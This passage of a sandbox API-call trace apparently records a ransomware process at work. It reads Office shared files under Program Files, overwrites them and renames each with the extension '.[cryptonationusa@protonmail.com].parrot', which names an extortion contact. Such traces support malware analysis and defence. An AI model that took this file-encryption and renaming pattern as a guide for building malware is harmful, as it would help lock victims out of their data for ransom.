SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.411] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6433b0 | out: hHeap=0x5b0000) returned 1 [0121.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692290 | out: hHeap=0x5b0000) returned 1 [0121.414] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.414] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.415] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.416] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba5e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xba5e, lpOverlapped=0x0) returned 1 [0121.418] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x688cf0 | out: hHeap=0x5b0000) returned 1 [0121.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0121.425] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.425] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.426] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.426] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c67b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6c67b, lpOverlapped=0x0) returned 1 [0121.439] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bff0 | out: hHeap=0x5b0000) returned 1 [0121.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0121.467] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.467] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.468] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.468] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60983, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60983, lpOverlapped=0x0) returned 1 [0121.483] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bff0 | out: hHeap=0x5b0000) returned 1 [0121.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0121.541] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.541] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.542] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.543] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x482ef, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x482ef, lpOverlapped=0x0) returned 1 [0121.559] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bff0 | out: hHeap=0x5b0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0121.588] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.588] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0121.589] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.589] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2cc7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2cc7, lpOverlapped=0x0) returned 1 [0121.590] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a2d0 | out: hHeap=0x5b0000) returned 1 [0121.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694290 | out: hHeap=0x5b0000) returned 1 [0121.596] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.596] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0121.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.598] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3580, lpOverlapped=0x0) returned 1 [0121.599] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69abe0 | out: hHeap=0x5b0000) returned 1 [0121.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694290 | out: hHeap=0x5b0000) returned 1 [0121.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.604] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.605] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x22d6, lpOverlapped=0x0) returned 1 [0121.606] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3c8 | out: hHeap=0x5b0000) returned 1 [0121.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694290 | out: hHeap=0x5b0000) returned 1 [0121.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.610] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.611] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.612] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x734, lpOverlapped=0x0) returned 1 [0121.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3c8 | out: hHeap=0x5b0000) returned 1 [0121.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.615] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.617] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.617] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9869, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9869, lpOverlapped=0x0) returned 1 [0121.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3c8 | out: hHeap=0x5b0000) returned 1 [0121.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0121.622] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.622] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.623] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.623] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa7f, lpOverlapped=0x0) returned 1 [0121.623] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3c8 | out: hHeap=0x5b0000) returned 1 [0121.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.626] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.628] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2174, lpOverlapped=0x0) returned 1 [0121.629] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3c8 | out: hHeap=0x5b0000) returned 1 [0121.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694290 | out: hHeap=0x5b0000) returned 1 [0121.647] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.647] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0121.654] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.654] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x377ef, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x377ef, lpOverlapped=0x0) returned 1 [0121.663] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a8a0 | out: hHeap=0x5b0000) returned 1 [0121.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.697] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.697] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.699] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.699] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0121.729] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.729] WriteFile (in: hFile=0x260, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0121.730] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.730] WriteFile (in: hFile=0x260, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0121.733] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x120fd0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0121.733] CloseHandle (hObject=0x260) returned 1 [0121.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c2a8 | out: hHeap=0x5b0000) returned 1 [0121.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0121.787] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.787] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, 